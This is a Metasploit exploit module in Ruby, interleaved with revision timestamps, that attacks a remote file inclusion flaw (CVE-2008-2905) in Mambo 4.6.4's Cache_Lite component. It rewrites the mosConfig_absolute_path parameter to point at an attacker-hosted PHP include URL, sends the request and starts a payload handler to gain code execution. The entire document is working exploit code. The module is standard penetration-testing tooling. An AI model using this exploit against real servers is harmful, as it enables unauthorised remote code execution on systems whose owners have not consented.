2009-12-15 18:47:29 +00:00
##
2010-04-30 08:40:19 +00:00
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
2009-12-15 18:47:29 +00:00
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
2010-11-11 22:43:22 +00:00
# http://metasploit.com/framework/
2009-12-15 18:47:29 +00:00
##
require 'msf/core'
class Metasploit3 < Msf :: Exploit :: Remote
2009-12-06 05:50:37 +00:00
Rank = ExcellentRanking
2009-12-15 18:47:29 +00:00
include Msf :: Exploit :: Remote :: Tcp
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Exploit :: Remote :: HttpServer :: PHPInclude
def initialize ( info = { } )
2010-04-30 08:40:19 +00:00
super ( update_info ( info ,
2010-11-24 19:35:38 +00:00
'Name' = > 'Mambo Cache_Lite Class mosConfig_absolute_path Remote File Include' ,
2009-12-15 18:47:29 +00:00
'Description' = > %q{
This module exploits a remote file inclusion vulnerability in
2010-04-30 08:40:19 +00:00
includes / Cache / Lite / Output . php in the Cache_Lite package in Mambo
4 . 6 . 4 and earlier .
2009-12-15 18:47:29 +00:00
} ,
'Author' = > [ 'MC' ] ,
'License' = > MSF_LICENSE ,
'Version' = > '$Revision$' ,
'References' = >
[
[ 'CVE' , '2008-2905' ] ,
2010-05-13 16:53:50 +00:00
[ 'OSVDB' , '46173' ] ,
2009-12-15 18:47:29 +00:00
[ 'BID' , '29716' ] ,
] ,
'Privileged' = > false ,
'Payload' = >
{
'DisableNops' = > true ,
2010-04-30 08:40:19 +00:00
'Compat' = >
2009-12-15 18:47:29 +00:00
{
'ConnectionType' = > 'find' ,
} ,
'Space' = > 32768 ,
} ,
'Platform' = > 'php' ,
'Arch' = > ARCH_PHP ,
'Targets' = > [ [ 'Automatic' , { } ] ] ,
'DisclosureDate' = > 'Jun 14 2008' ,
'DefaultTarget' = > 0 ) )
2010-04-30 08:40:19 +00:00
register_options (
[
OptString . new ( 'PHPURI' , [ true , " The URI to request, with the include parameter changed to !URL! " , " /includes/Cache/Lite/Output.php?mosConfig_absolute_path=!URL! " ] ) ,
] , self . class )
2009-12-15 18:47:29 +00:00
end
def php_exploit
timeout = 0 . 01
uri = datastore [ 'PHPURI' ] . gsub ( '!URL!' , Rex :: Text . to_hex ( php_include_url , " % " ) )
print_status ( " Trying uri #{ uri } " )
response = send_request_raw ( {
'global' = > true ,
'uri' = > uri ,
} , timeout )
if response and response . code != 200
print_error ( " Server returned non-200 status code ( #{ response . code } ) " )
end
2010-04-30 08:40:19 +00:00
2009-12-15 18:47:29 +00:00
handler
end
end